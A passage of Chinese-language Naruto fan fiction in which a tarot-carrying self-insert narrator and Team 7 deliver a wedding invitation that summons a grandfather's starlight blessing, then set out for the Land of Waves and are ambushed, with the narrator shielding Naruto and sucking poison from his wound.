她的眼中闪烁着欣慰的泪光。 任务五:星空下的请柬与跨越生死的祝福 当夕阳的最后一抹余晖将木叶隐村的屋顶和火影岩染成温暖的金红色时,带着一身棉絮和木头清香的第七班,来到了最后一个任务点——木叶病院一间安静的单人病房。 任务委托人是一位名叫青叶的年轻中忍,他的一条腿打着厚厚的石膏,高高吊起,脸上带着因麻烦别人而产生的深深歉意,以及一丝掩藏不住的、属于新郎官的甜蜜忧郁。 “实在是不好意思,要麻烦你们跑这一趟,” 青叶将一个包装极其精美、系着华丽金色丝带的方形礼盒小心翼翼地递给小樱,盒子上还别着一朵新鲜的白色小花 “这是给我最好的朋友拓真,还有他未婚妻由美的结婚请柬,里面还有一份小礼物。本来今天无论如何也该亲自送去的,结果这腿……唉,婚礼就在明晚,拜托你们务必、务必送到他们手上。地址是村北望星丘的‘星见庄’,拓真家在那里经营温泉旅馆。” 他的眼神里充满了恳切。 “放心吧!青叶大哥!” 鸣人用力拍着胸脯,震得自己咳嗽了两声 “保证完成任务!用我漩涡鸣人的忍道发誓!” 佐助面无表情地伸手,直接从青叶手中拿过那张写着地址的原版纸条。上面的字迹清秀工整:“村北,望星丘,星见庄”。他冷淡的目光扫过鸣人那如同鬼画符般、龙飞凤舞的抄写版(把“星”抄得像个歪扭的“里”,把“丘”抄得像个“斤”字),嘴角几不可察地向下撇了一下,流露出毫不掩饰的嫌弃。他什么也没说,将原版纸条收好,转身就走。 “喂!佐助!等等我!你不许抢先!” 鸣人哇哇大叫着追了上去。我和小樱向青叶道别后也连忙跟上。 村北的望星丘地势较高,以视野极其开阔、能欣赏到木叶最灿烂清澈的星空而闻名。当我们气喘吁吁(主要是我)地爬上山坡,找到掩映在一片幽静竹林深处、门口挂着写有“星见庄”三个古朴大字灯笼的雅致温泉旅馆时,天色已经完全黑透。 深蓝色的天鹅绒天幕上,银河如同一条流淌着钻石碎屑的光带横贯天际,无数星辰璀璨闪烁,仿佛触手可及。清凉的山风穿过竹林,发出沙沙的声响。 然而,旅馆门口温馨的灯笼光下,气氛却有些凝滞。一个穿着淡紫色浴衣、容貌秀丽的年轻女子(显然是由美)正背对着我们,肩膀微微起伏,气鼓鼓地对着一个穿着深蓝色浴衣、满脸焦急无奈、正试图解释什么的年轻男子(拓真)抱怨着 “……青叶那个笨蛋!明明说好今天一定会亲自把请柬送来的!他可是你最好的朋友啊!连我们婚礼的请柬都能迟到,太过分了!他是不是根本没把我们当回事?” “由美,别这么说,” 拓真温柔地试图安抚,语气带着包容 “青叶他肯定是遇到了非常重要、脱不开身的事情才会这样。他答应过的事,哪次没做到?我们要相信他。” “我不管!他答应过的!” 由美猛地转过身,眼眶微微发红,带着委屈 “这可是我们一生一次的婚礼!他……” “对不起!由美姐姐!拓真大哥!” 鸣人见状,立刻一个箭步冲上前,双手捧着那个精美的礼盒,深深鞠躬,声音洪亮而真诚 “青叶大哥他…他在训练中摔断了腿!现在还在医院里打着石膏呢!他非常非常想来!恨不得自己爬过来!这是他让我们务必、一定要亲手交给你们的请柬和礼物!他让我们代他向你们道歉!” 由美看着突然出现的我们四人,又看看鸣人手中捧着的、系着金丝带的礼盒,还有他那张写满了“绝对没骗你”的真诚又有点傻气的脸,以及后面我们三个同样风尘仆仆却眼神清澈的样子,脸上的怒气瞬间消散了大半,取而代之的是惊讶和一丝羞报 “啊…原来…原来是这样…他受伤了?严不严重?我…我还以为他……对不起,是我太任性了……” 她低下头,声音带着歉意。 小樱走上前,微笑着将礼盒轻轻放到由美手中 “青叶前辈很惦记你们,这是他精心准备的。” 由美小心地解开金色丝带,仿佛在对待一件珍宝。打开盒盖,里面是两张制作极其精美的烫金请柬,边缘还手绘着细小的樱花图案。请柬下面,是一枚小巧玲珑、用纯净无瑕的水晶精心雕刻而成的星星挂坠,在漫天星辉下流转着温润内敛的光芒。而在挂坠旁边,还静静地躺着一枚小小的、深红色的火漆印章,印章上刻着一个繁复而古意盎然的“福”字。 “这是……!” 拓真拿起那枚火漆印,手指微微颤抖,眼中瞬间涌上了复杂的光芒 “这是我祖父留下的‘星之祝福’印……是老人家当年为重要之人祈福时用的……青叶他……” 他的声音有些哽咽,显然这份礼物触动了他内心最深处关于亲情的记忆。 就在这时! 我忍具包里的塔罗牌毫无预兆地变得异常活跃!不再是温热,而是像一颗被唤醒的、激烈跳动的心脏,散发出前所未有的强烈吸引感!目标直指拓真手中的那枚深红火漆印,以及头顶那片浩瀚无垠的璀璨星空!牌面甚至在我包内微微震动起来,发出低沉的嗡鸣! 一股强烈的冲动驱使着我,仿佛牌本身在借我之口说话。我忍不住上前一步,声音带着一丝自己都未察觉的奇异期待和笃定 “拓真大哥,由美姐姐,能…能用这个火漆印,对着头顶的银河…看看吗?” 拓真和由美虽然满脸疑惑,但看着我们真诚(尤其是我眼中那奇异的光芒)的眼神,还是依言照做。 拓真郑重地拿起那枚深红的火漆印,由美则将那枚水晶星星挂坠紧紧握在掌心,两人一起,对着那条流淌在天幕之上的钻石星河,高高举起! 就在火漆印上那个繁复的“福”字刻痕,正正地对准了银河流泻下的清冷星辉的瞬间! 异变陡生! “嗡——!” 塔罗牌发出一声清越的嗡鸣,如同挣脱了所有束缚,自动从我的忍具包里疾射而出!那张描绘着『星星』图案的牌悬停在火漆印旁边,牌面上那跪在河边、倾倒圣水的女神图案,在漫天星光的映照下,仿佛活了过来! 整张牌散发出柔和的、如同月华般的银白色光晕!这光晕迅速扩大,如同一个无形的、巨大的凹面透镜,疯狂地吸引、汇聚着周围,尤其是头顶那片璀璨星河的无尽光芒! 无数细碎的、银色的星辉被无形的力量牵引而下,如同倒流的银色瀑布,又似无数闪烁的萤火虫,汹涌地注入到那枚小小的、深红色的火漆印中!火漆印上那个繁复的“福”字刻痕骤然亮起!散发出温暖而神圣的金红色光芒!这光芒并非静止不动,而是如同被点燃的灯芯,射出一道清晰无比、凝实如柱的金红色光束,打在众人面前那片被竹林环绕的空地上! 光束之中,无数更加细密的、如同金色萤火虫般的光点迅速凝聚、勾勒、填充……一个穿着旧式深蓝色忍者马甲、头发花白、面容慈祥却眼神明亮如星辰的老人虚影,由模糊到清晰,缓缓显现出来!正是拓真的祖父!虚影栩栩如生,甚至连老人眼中那份历经沧桑的睿智与慈爱都清晰可见! 虚影的祖父缓缓抬起头,目光仿佛穿透了时空的阻隔与生死的界限,温柔而欣慰地落在了已经完全惊呆、泪水瞬间盈满眼眶的拓真和由美身上。一个苍老却充满了无尽慈爱与祝福的声音,如同夜风中最温柔的低语,清晰地、直接地回荡在在场每一个人的心田深处: “拓真…由美…看到你们…终于在一起…真好……爷爷……真高兴啊……” “要幸福啊…我的孩子们…比这天上…所有的星星…加起来…还要幸福……” 那带着深深哽咽与无尽满足的余音,如同投入心湖的石子泛开的涟漪,渐渐消散在清凉的夜风中。祖父那由星光构成的虚影,也随之化作漫天飞舞的金色光点,如同最温柔的祝福之雨,轻柔地洒落在拓真和由美的身上、发间,最终依依不舍地融入了那片浩瀚的星空,仿佛回归了星辰的怀抱。 时间仿佛在这一刻彻底静止了。望星丘上,万籁俱寂,只有山风吹过幽深竹林的沙沙声,以及远处草丛中传来的、细微而渺远的虫鸣,如同天地间最温柔的背景乐。 由美早已泪流满面,泣不成声,双手紧紧抓着拓真的手臂,仿佛要将自己融入他的身体。拓真也仰着头,泪水无声地滑过他坚毅的脸庞,在星光下闪烁。他紧紧握着手中那枚仿佛还残留着祖父掌心温度的火漆印和水晶星星,仿佛握着世界上最珍贵的宝物。 悬空的塔罗牌光芒迅速黯淡下去,“啪嗒”一声轻响,落回我下意识伸出的掌心。牌身滚烫得几乎握不住! 一股强烈的、如同被抽空般的眩晕感和撕裂般的头痛猛地袭来!眼前阵阵发黑,耳中嗡鸣不止,心脏狂跳得像是要挣脱胸腔!我踉跄了一下,下意识地扶住旁边冰冷的竹干,才勉强站稳。冷汗瞬间浸湿了后背。 这就是…反噬?本以为在三次元里只是无稽之谈,巧合什么的,没想到在这忍者的世界,代价竟如此真实而剧烈。 我死死攥住滚烫的塔罗牌,指节因为用力而发白,强忍着不让自己呻吟出声。就在这时,一只带着黑色手套的大手,无声而稳定地扶住了我的胳膊。 我猛地抬头,对上了卡卡西不知何时出现在我身侧的身影。他依旧带着面罩,露出的那只右眼在夜色中深邃无比,正牢牢地看着我,那目光仿佛能穿透我的灵魂,带着一种洞悉一切的沉重和……一丝难以言喻的关切?他没有说话,只是用那只手稳稳地支撑着我,低声问了一句,声音低沉得只有我们两人能听见:“还好吗?” 这简单的三个字,却像重锤敲在我心上。 我咬着嘴唇,点了点头,勉强挤出一个“嗯”,不敢再看他的眼睛。 鸣人张大了嘴巴,金发在星光下显得毛茸茸的,蓝色的眼睛里此刻盛满了纯粹的震撼和感动,忘了说话,也忘了动作。 小樱捂着嘴,泪水在眼眶里疯狂打转,最终顺着脸颊滑落。 就连佐助,也静静地站在几步之外,漆黑的眼眸一瞬不瞬地注视着那片星光投影消失的地方,又缓缓移向相拥而泣的拓真和由美。漫天星河倒映在他深沉的眸底,仿佛有什么坚冰般的东西,被这跨越生死的、温暖的星辉悄然融化了一丝,流露出一抹极其罕见的、近乎温柔的波动。 当第七班四人拖着疲惫不堪却异常充实、内心仿佛被某种温暖力量填满的身体回到灯火阑珊的木叶村中心时,夜已深沉。任务发布处早已关门熄灯,但那个熟悉的身影——旗木卡卡西,却罕见地比我们还要“准时”地出现在昏黄的路灯下,背靠着灯柱,手里依旧捧着那本似乎永远看不完的《亲热天堂》。 “哟,回来了?” 卡卡西懒洋洋地抬起眼皮,目光如同探照灯般扫过我们每一个人—— 鸣人脸上沾着干涸的泥点和可疑的狗毛,衣服上还挂着几根顽固的麦秆 佐助深蓝色的袖口沾着零星的白色棉絮和一点修理织布机时蹭上的黑色机油 小樱粉色的头发有些凌乱,脸上带着奔波后的红晕, 而我,脸色在路灯下显得格外苍白,手里紧紧攥着那张塔罗牌,仿佛那是唯一的依靠。卡卡西的目光在那张牌上停留了比其他人更长的一瞬,仅露出的右眼似乎微微眯了一下,眼神深邃难辨。 “卡卡西老师!” 鸣人第一个冲了上去,像只终于找到主人的大型犬,手舞足蹈、唾沫横飞地开始讲述今天堪称“传奇”的经历——秋道家地窖里酸菜缸中的新生猫崽、织布机上月光下的睡睡鸟大迁徙,还有最后望星丘那震撼人心的、来自星空的祖父祝福投影!他讲得眉飞色舞,激情澎湃,把每个任务都描绘得如同史诗般壮阔离奇(其实卡卡西一直都在附近看着,虽然之前说什么d级太过于简单,他就不陪同了,但还是悄悄的跟在身后,其实也不排除是想要监视我。不过鸣人果然还是大部分时间都在着重渲染他自己的“英明神武”和“力挽狂澜”)。 佐助抱着手臂,站在稍远一点的地方,一脸“我不认识这个聒噪的白痴”的表情,但破天荒地没有出言打断或嘲讽,只是沉默地听着,目光偶尔掠过路灯下飞舞的飞蛾。 小樱在一旁带着温柔的笑意,适时地补充着鸣人遗漏或夸大的细节,尤其是关于我那神秘的塔罗牌在几次危机中起到的关键作用,以及最后那星光投影带来的无法言喻的感动。 “卡卡西老师,您真该亲眼看看的……” 她的声音里还带着一丝哽咽后的鼻音。 我只是安静地站在光影交界处,手指一遍遍摩挲着牌面,感受着它依旧残留的、如同心跳般的微温,以及脑海中尚未完全平息的阵阵钝痛。我依然不会在这个世界里使用塔罗牌,但好在,他会主动得指引我……卡卡西刚才那无声的扶持和低沉的询问,像烙印一样留在心底。 卡卡西静静地听完,合上了手中的《亲热天堂》。他难得地没有用那种惯常的戏谑或慵懒的语气,而是站直了身体,看着眼前这四个虽然满身狼狈、眼神却比星辰更明亮的少年少女,声音低沉而温和,带着一种历经沧桑后的通透: “D级任务……除草、带孩子、找东西、修机器、送信……” 他缓缓念着,目光扫过我们沾着泥土、棉絮、麦秆和星辉的衣衫 “看起来微不足道,甚至有些枯燥乏味,对吧?” 昏黄的光晕笼罩着我们,四周一片寂静。 “但正是这些琐碎的、充满了‘烟火气’的小事,” 卡卡西的声音清晰地在夜色中流淌 “如同最细微的砂砾,构成了木叶这座村子最坚实的地基。它们连接着每一个生活在这里的人的心跳,维系着人与人之间最朴素也最珍贵的羁绊。” 他的目光缓缓扫过我们每一个人,带着一种沉甸甸的重量 “帮助独居的老人保住辛苦一年的收成,让她在风雨飘摇时感受到温暖;守护一个新生命(无论是人还是动物)的平安降临,见证生命最初的奇迹;保留一份寄托着家族思念的祖传器物,让记忆得以延续;修复承载了漫长时光的老物件,让历史与情感得以传承;传递一份饱含深情与歉意的祝福,甚至……跨越了生死的界限,照亮生者的道路……” 卡卡西的目光最后,深深地、长久地停留在我紧握着塔罗牌的手上,那眼神复杂难言,仿佛穿透了时光,看到了什么遥远而深刻的影像。他顿了顿,声音里带上了一丝不易察觉的、发自内心的笑意和赞许 “你们今天所经历的,所守护的,所传递的……就是忍者存在的意义之一——守护这平凡却无比珍贵的日常,守护人与人之间,那份名为‘羁绊’的灯火。” “真正的力量,” 他的声音不高,却带着一种直抵人心的力量,在寂静的夜里回荡 “并非只存在于强大的忍术、毁天灭地的禁术之中。” “有时,” 他的目光似乎再次掠过我的塔罗牌,又仿佛看向更远的地方 “它藏在细致入微的观察和对他人困境的体察里;藏在愿意为了素不相识的人、甚至是一只小鸟、一只猫,而伸出援手的那颗心里。” “今天的任务,” 卡卡西最后说道,声音温和而坚定 “你们完成的……” 他刻意停顿了一下,似乎在寻找最合适的词语,最终,那露出的右眼弯成了清晰的月牙 “……非常出色。” 昏黄的路灯下,鸣人咧开一个大大的、如同阳光般灿烂耀眼的笑容,用力地“嗯!”了一声。小樱脸上洋溢着自豪而满足的红晕,眼睛亮晶晶的。佐助微微别过脸,看向远处沉睡的村庄轮廓,但紧抿的嘴角似乎放松了些许,线条不再那么冷硬。 而我,握紧了手中那张带着裂痕却依旧温暖的塔罗牌,感受着那牌面下传递出的、属于这个烟火人间最真实的温度与力量,仿佛也触摸到了那份融入血脉的、名为“羁绊”的归属感。 星光温柔地洒落,木叶隐村在宁静的夜色中安然沉睡。少年们的影子在路灯下被拉得很长,交织在一起。属于他们的故事,属于他们的成长与羁绊,就在这一次次看似平凡的守护中,悄然生根,茁壮生长。 11. 血与旧的誓言 在不知完成了多少个D级任务后,鸣人终于沉不住气了。 刚刚结束的抓猫任务,在卡卡西老师的指挥下,我们配合得堪称完美,甚至动用了通讯耳机——虽然总有种大炮打蚊子的荒谬感。鸣人苦恼地盯着怀里那只依旧不安分扭动的猫。卡卡西老师曾说过,正是这种“烟火气”构成了木叶村的根基,但日复一日的琐碎任务,还是让第七班蒙上了一层无形的倦怠。鸣人的不满早已写在脸上,佐助虽未明言,沉默却比往日更甚,连一向积极的小樱也难掩疲惫。 回到任务发布处,三代火影大人和伊鲁卡老师已等候多时。提交任务后,志治美夫人一把将猫搂进怀里,用她丰腴的脸颊热情“蹂躏”着它。小猫徒劳地挥舞爪子抵抗。 “啧,这下吃到苦头了吧?不过摊上这样的主人,难怪它想跑。” 鸣人在我身边小声嘀咕。 三代大人吐出一口烟圈,宣布了我们的新任务:照顾小孩、邻村采购、或者帮忙收南瓜。当听到“照顾小孩”几个字时,鸣人像被踩了尾巴一样跳起来: “不要!这种任务别找我们!我要做更厉害的任务!” 他双臂在胸前用力划了个大大的叉,身体和声音都充满了抗拒。 三代只是缓缓吸了口烟,帽檐压得更低。伊鲁卡老师怒拍桌面,训斥鸣人所有忍者都是从基础做起。鸣人立刻反驳自己早已受够了这些无聊任务,却被卡卡西老师一记精准的爆栗敲倒在地。我无奈叹气,伸手将他扶起。 我记得这段剧情……这是通往波之国,遭遇再不斩的起点。鸣人,也是在这里经历了真正的蜕变。 鸣人捂着头顶,卡卡西那一下可不轻。我下意识地朝他肿起的地方轻轻吹气 “不痛不痛……” 话音未落,鸣人猛地甩开我的手 “别把我当小孩了!我已经长大了!” 不知是气恼我的举动,还是对任务的不满,他赌气地一屁股坐在地上,背对着我。 唉,明明就还是个小孩子嘛…… “看来有必要跟你讲清楚什么是任务了。” 三代的声音带着不容置疑的威严 “听着,村里每天都会收到大量委托,从照顾小孩到暗杀。任务单记载了我们能接受的各种工作,按难易程度分为A、B、C、D四个等级。村里以我为最高统帅,忍者按能力分为影、上忍、中忍、下忍。任务由高层分配给能力匹配的忍者。顺利完成,委托人就会支付酬劳。” 三代吐出烟圈,手指点向我们 “你们刚成为下忍,所以最多只能接D级任务……” 可惜鸣人根本没在听。他转过身和小樱、佐助聊起哪家拉面好吃,唯独略过了我,看似还在为我的举动生气——一种莫名的熟悉感掠过心头,奇怪。 “鸣人!给我听好了!” 三代的声音陡然拔高,带上了火影的威压。 卡卡西老师挠着银发,懒洋洋地道歉 “抱歉啊,火影大人。” 鸣人猛地转回身,对着三代字正腔圆地宣告 “我已经不是那个只会恶作剧的小鬼了!所以,别再把我当小孩对待了!” 最后那句话,他的目光扫过三代,也若有若无地落在我身上。 三代意味深长地笑了笑,深吸一口烟,像是做了某种让步 “既然如此……就给你们一个C级任务吧。” 鸣人的眼睛瞬间亮得惊人 “真的吗?是什么任务?” 刚才的阴霾一扫而空。果然还是个孩子啊……我低下头,无奈地勾起嘴角。不过,这可不是普通的C级呢…… 任务发布处的门被拉开,一个浑身散发着廉价酒气的老头走了进来。他浑浊的目光扫过我们四个,眉头立刻拧成了疙瘩,不满地嘟囔: “什么嘛……全是小鬼……” “特别是那个最矮的蠢家伙,你真的是忍者吗?” 鸣人还傻笑着问“谁是最矮的蠢家伙”,直到我们三个(我、佐助、小樱)默契地挤在一起比了比身高——鸣人看看小樱,看看佐助,再看看比他高出半个头的我(虽然听说小时候长得太高反而不容易再长)——那一瞬间,他彻底炸毛,张牙舞爪地就要扑向委托人达兹纳,被卡卡西老师眼疾手快地拎住了后领。 接下来的自我介绍和任务说明(保护他回国造桥)在鸣人气鼓鼓的怒视中显得格外漫长。显然,“最矮的蠢家伙”这个评价深深刺痛了他。但眼下,这似乎是唯一能摆脱D级任务的选择。即使再不情愿,鸣人也只能暂时咽下这口气。 “那么,你们先回去准备行李吧。之后在木叶村大门集合。路途不近,必需品务必带齐。” 三代嘱咐道。卡卡西老师懒散地应了声,便领着我们离开,身后还能听到达兹纳不满的嘀咕 “为什么是四个小鬼头啊……” 回到鸣人狭小的公寓,我默默收拾起背包:压缩干粮、医疗绷带、苦无、手里剑、解毒剂……还有几种应急的伤药(虽然效果可能有限)。 鸣人看着我塞得鼓鼓囊囊的背包,不解地歪头 “喂,你带这么多东西干嘛?” “以防万一,” 我拉上背包拉链 “万一你路上生病、受伤……或者其他人需要呢?有备无患总是好的。” 鸣人撇撇嘴,小声咕哝 “都说了别把我当小孩……” 我习惯性地伸出手想揉揉他的金发,却被他猛地拍开。 “别摸我头了!” 『别把我当小屁孩看了!』 那股强烈的、令人心悸的熟悉感再次汹涌袭来,仿佛有什么尘封的东西在深处剧烈翻腾。我愣愣地看着自己被拍开的手,又看向他。鸣人被我看得不自在,转身自顾自走了几步,又像想起什么似的,跑回来一把抓住我的手腕 “发什么呆!再不快点要迟到挨骂了!” 那一瞬间,无数碎片般的念头涌入脑海。一些模糊的记忆光影在闪烁……似乎很久很久以前,我也曾对鸣人做过类似的事?可为什么……想不起来了? 木叶隐村厚重的大门在身后缓缓合拢,将夏日的喧嚣隔绝。第七班四人,连同那位散发着劣质酒气、眼神闪烁的造桥师傅达兹纳,踏上了前往波之国的路途。这本该是充满新奇冒险的开端,队伍的气氛却带着一丝难以言喻的凝滞。 漩涡鸣人走在最前方,阳光穿过林间缝隙,在他跳跃的金发上洒下碎金。他用力挥舞着拳头,洪亮的声音惊飞了枝头的鸟儿:“好嘞!出发咯!” 蓬勃的朝气几乎要冲破那点阴霾。 小樱吐槽道鸣人怎么如此兴奋,鸣人则是说自己从小到大都没离开过村子,达兹呐看着如此兴奋的鸣人,躲闪的眼神好多了一点,淡淡的吐槽着这个小鬼真的没问题吗? 卡卡西老师只是笑着,看着鸣人这幅样子,也无奈,只能说有自己这个上忍跟着,肯定没问题了。鸣人在听见达兹纳又一次不相信的质疑后,怒气冲冲的指着他说,自己多么多么的厉害。 “我可是要当上火影的人,我叫漩涡鸣人!你要记住了!” 不知道为什么,脑子里突然浮现了一张梗图:木叶村赶紧完蛋吧 路途上,我们六位有一搭没一搭的聊着天,更多是鸣人在说话,偶尔去找小樱聊上两句,小樱又很烦鸣人,不怎么想理他,于是去找佐助聊,可惜佐助没说话,我在远处看着他们三个像是循环一样,鸣人找小樱,小樱找佐助,佐助不理,鸣人生气小樱不理他而去理佐助,而对佐助充满敌意, 佐助双手插在裤袋里,慢慢的走到了我的身边,闻言只是冷冷地嗤了一声 “白痴……” 话毕,他漆黑的眼睛看向附近四周,一直在观察周围环境,身体保持着随时可以应对突袭的紧绷。 我看着走在身边的佐助,感觉他是被烦死了才来我这里躲清闲的 小樱看见如此一幕,努力维持着镇定,但紧握的拳头和微微发白的指节泄露了她的紧张 “鸣人,你安静点!” 她的目光忍不住飘向队伍后方。 我走在队伍末尾,努力调整着呼吸。塔罗牌所带来的反噬并未完全消散,太阳穴深处依旧残留着阵阵钝痛,像有根细针在不停地扎。精神上的疲惫感如同潮湿的雾气,缠绕着四肢百骸。忍具包紧贴着大腿,里的塔罗牌此刻却异常沉寂冰冷,摸上去如同普通的硬纸片,再无半分之前的温热或震动。这种反常的平静,反而让我心头蒙上一层不祥的预感,比清晰的预警更令人不安。 再加上,今天鸣人和我发了脾气…… 旗木卡卡西走在达兹纳旁边,手里依旧捧着他那本似乎永远翻不完的《亲热天堂》。他步履懒散,仿佛不是在执行可能遭遇战斗的任务,而是在自家后院散步。然而,那仅露出的右眼,目光却如同最敏锐的鹰隼,看似随意地扫过前方的路况、两侧的密林。有一搭没一搭得和达兹纳聊天。 莫名的,达兹纳突然聊到了火影,并说不认为我们这样得小鬼能当上,鸣人则是十分生气,对着达兹纳怒吼,达兹纳也不甘示弱,直接往最痛得点上戳 “就算你当上火影我也不会认可你的” “我要杀了你……” 还好卡卡西老师抓住了鸣人的后脖颈,不然委托人真的可能会死在我们手里。 小樱顺势插入我和佐助的身边,对着鸣人说好了,鸣人抱胸,十分生气又碍于小樱的面子只能一直一直生闷气。最后踢了一脚路边的石子,发泄怒火了。 “达兹纳先生是从波之国来的吗?” “是又怎样?” “呐,卡卡西老师,波之国也有忍者吗?” “不,波之国没有忍者……” 卡卡西老师开始详细讲解起各国的地理、势力和忍者村分布。我因沉浸在对即将发生之事的忧虑中,思绪飘远,并未听清。只捕捉到他最后那句安抚 “安心吧,C级任务是不会遇到忍者对决的。” 不知走了多久,头顶的太阳已升到正空,毫不吝啬地泼洒着灼热的光线,将林间小径烤得发烫,空气都带着粘稠的质感。我的目光紧紧锁在卡卡西老师身上。他依旧捧着那本橙色封皮的《亲热天堂》,但翻页的手指却停住了。 那唯一露出的右眼,不再是散漫的慵懒,而是如同最精密的探针,以一种看似随意、实则无比专注的方式扫过前方蜿蜒的道路,掠过两侧浓密得仿佛能吞噬光线的幽暗树林,连树冠的缝隙和地面的阴影都不放过。每一次视线的停顿都让我心头一紧。 就是这里了。那个标志性的、不起眼的小水洼,浑浊的水面映着破碎的天空,像一只浑浊的眼睛镶嵌在路边。我的呼吸下意识地放轻,心跳却擂鼓般撞击着胸腔。指尖冰凉,毫不犹豫地探入大腿外侧的忍具包,粗糙的皮革触感下,是冰冷坚硬的苦无柄和边缘锋利的手里剑。金属的寒意顺着指尖蔓延,带来一丝诡异的清醒。 “哗啦啦——!!!” 死寂被瞬间撕裂!刺耳的金属摩擦声如同毒蛇的嘶鸣,两道缠绕着森冷寒光的锁链如同从地狱伸出的触手,毫无征兆地从那个不起眼的水洼中爆射而出!速度快得只在视网膜上留下两道扭曲的残影!目标直指队伍中央的卡卡西老师! “卡卡西老师!” 小樱的尖叫划破空气。 太快了!我的思维甚至跟不上锁链的速度!只能眼睁睁看着那冰冷的金属如同活物般缠绕上卡卡西老师的身体,瞬间收紧!勒入皮肉的闷响令人牙酸! “哼!”敌人发出一声狞笑,双臂肌肉贲张,猛地向后一扯! “噗嗤——!” 令人头皮发麻的声音响起。卡卡西老师的身影……在锁链的巨力绞杀下,化作了一滩刺目的、猩红的血水,泼洒在干燥的地面上,散发出浓烈的铁锈味。 “卡……卡卡西老师?!” 鸣人脸上的兴奋瞬间冻结,被巨大的惊恐取代,瞳孔急剧收缩,仿佛第一次直面死亡的冰冷。佐助的脸色也瞬间煞白,身体下意识地绷紧,写轮眼几乎要不受控制地开启。小樱捂着嘴,发出一声压抑的呜咽,眼中充满了难以置信的恐惧。刚才那句“C级任务不会有忍者对决”的保证,此刻听起来像一个残酷的玩笑。 死亡的阴影,第一次如此真实地笼罩下来。 然而,恐惧只持续了不到半秒。那两个浑身散发着阴冷杀气的敌人,如同鬼魅般在原地消失!下一瞬间,他们如同瞬移般出现在队伍的两侧——一个目标明确地扑向被惊呆了的达兹纳,另一个,则带着毫不掩饰的杀意,直取还在为卡卡西“死亡”而失神的鸣人! “鸣人——!!!” 我的大脑一片空白。什么任务目标,什么战术分析,什么剧情走向……所有理智的思考在鸣人那张写满惊恐和茫然的脸上被彻底粉碎!一股源自灵魂深处的、无法言喻的恐惧和暴怒瞬间吞噬了我!比刚才看到卡卡西“被杀”时强烈百倍!身体先于意志做出了反应,仿佛有另一个沉睡的我在此刻彻底苏醒! “小樱!保护达兹纳先生!” 我的声音尖利得变调,带着一种自己都感到陌生的凶狠。同时,我的身体已经化作一道离弦之箭,不顾一切地朝着扑向鸣人的敌人冲去!忍具包里的苦无甚至都忘了拔出,脑子里只有一个念头,一个近乎本能的命令:挡住他!不能让任何东西伤害到鸣人! 我的速度在生死关头爆发到了极致,几乎是抢在敌人锋利的爪子触及鸣人咽喉的前一瞬,硬生生插入了两人之间!后背完全暴露在敌人的攻击之下,但我毫不在意,只是死死地、如同护崽的母兽般张开双臂,将鸣人严严实实地挡在自己身后!我的眼睛死死盯住近在咫尺的敌人面具上冰冷的孔洞,里面透出的残忍杀意让我浑身汗毛倒竖,但我半步不退,喉咙里甚至发出低低的、威胁般的嘶吼。那一刻,我的眼中只有敌人和身后的鸣人,世界缩小到只剩下这方寸之地。 “滚开!” 我嘶声力竭地吼道,声音因为极致的恐惧和愤怒而扭曲。一种深埋于骨髓、超越记忆的本能在疯狂呐喊:不可以!不能再让大笨蛋受伤! 就在敌人冰冷的爪子即将撕裂我的后背,鸣人惊恐的呼喊卡在喉咙里的千钧一发之际—— “砰!砰!” 两声沉闷的重击几乎同时响起! 一道银白色的身影如同瞬移般出现在场中——卡卡西老师!他一手一个,如同拎小鸡般轻松,却又带着雷霆万钧的力量,精准无比地将两个扑出的敌人狠狠掼在地上!地面发出一声闷响,尘土飞扬。 他那标志性的死鱼眼波澜不惊,仿佛刚才被“分尸”的不是他,仿佛这一切都在他的预料之中。只是,他那平静的目光扫过场中时,在我身上停留了极其短暂的一瞬,那眼神深处,似乎掠过一丝极其复杂、难以解读的微光——是惊讶?是审视?还是……一丝了然的探究? “抱歉啊鸣人,” 卡卡西老师的声音恢复了惯常的慵懒,带着一丝歉意,但更多的是某种难以言喻的意味 “没能第一时间救你。只不过……”他的目光再次转向我,这次带着更深沉的、如同X光般的穿透力 “我没想到你会吓得一动不动。” 他的话语似乎是对鸣人说,但那审视的目光却牢牢锁在我身上 “旁听生,勇气可嘉。但要时刻记住你的任务目标是谁……” 他顿了顿,转向佐助和小樱,语气带上了一丝赞许 “佐助,反应和反击都很出色。小樱,保护委托人的判断很及时,站位也很好。” 鸣人还维持着被我护在身后的姿势,呆呆地看着卡卡西老师,又茫然地看了看挡在他身前的我的背影,最后目光落在佐助身上。震惊、茫然、然后是铺天盖地的自我怀疑和巨大的失落感瞬间淹没了他。 他的嘴唇翕动着,却发不出任何声音。为什么?明明都是第一次面对真正的生死搏杀,佐助能冷静地反击,甚至救下了小樱保护的委托人?而自己……竟然像个被钉在原地的木头人?连旁听生……这个平时总被自己吐槽太谨慎的家伙,都毫不犹豫地冲上来挡在了自己前面?巨大的挫败感像冰冷的潮水,瞬间将他淹没,让他几乎窒息。 就在这时,卡卡西老师的声音再次响起,带着一丝不易察觉的严肃 “鸣人,别动你的左手!” 鸣人下意识地低头,这才发现自己的左手手背上,不知何时被划开了一道不算深、但边缘泛着诡异青紫色的伤口!丝丝缕缕的麻痹感正沿着手臂缓慢向上蔓延。 “他们的爪子上淬了毒。” 卡卡西的声音沉了下来 “不尽快处理,毒素蔓延到心脏就麻烦了。” “毒?!” 鸣人的脸色瞬间惨白。死亡的阴影再次清晰无比地笼罩下来。 几乎在卡卡西话音落下的同时,我已经猛地转过身!刚才那股为了保护他不顾一切的冲动尚未完全平息,此刻又混合着新的、更深的恐惧——毒!会要了他的命的毒! 我甚至没有经过大脑思考,完全是身体的本能驱动!在所有人反应过来之前,我已经一把死死抓住了鸣人受伤的左手腕!力量之大,让他痛呼了一声。我的眼睛死死盯着那道泛着不祥青紫色的伤口,仿佛那是世界上最可怕的东西。 “你干什么?!” 鸣人惊愕地看着我。 我没有回答,也顾不上回答。下一秒,在所有人——包括卡卡西老师——惊愕的目光中,我毫不犹豫地低下头,张嘴用力含住了那道伤口! “唔!” 温热的、带着浓烈铁锈味的液体瞬间充满了口腔。是鸣人的血!我甚至能感觉到伤口边缘皮肤下细微的搏动,以及那混在血液中、带着一丝阴冷粘稠感的毒素!巨大的恶心感和一种说不清的恐慌涌上喉咙,但我强行压下,用尽力气吮吸!然后猛地侧头,“呸”一声将吸出的污血狠狠吐在地上!那滩血液呈现出一种暗沉的紫黑色,散发着令人不安的气息。 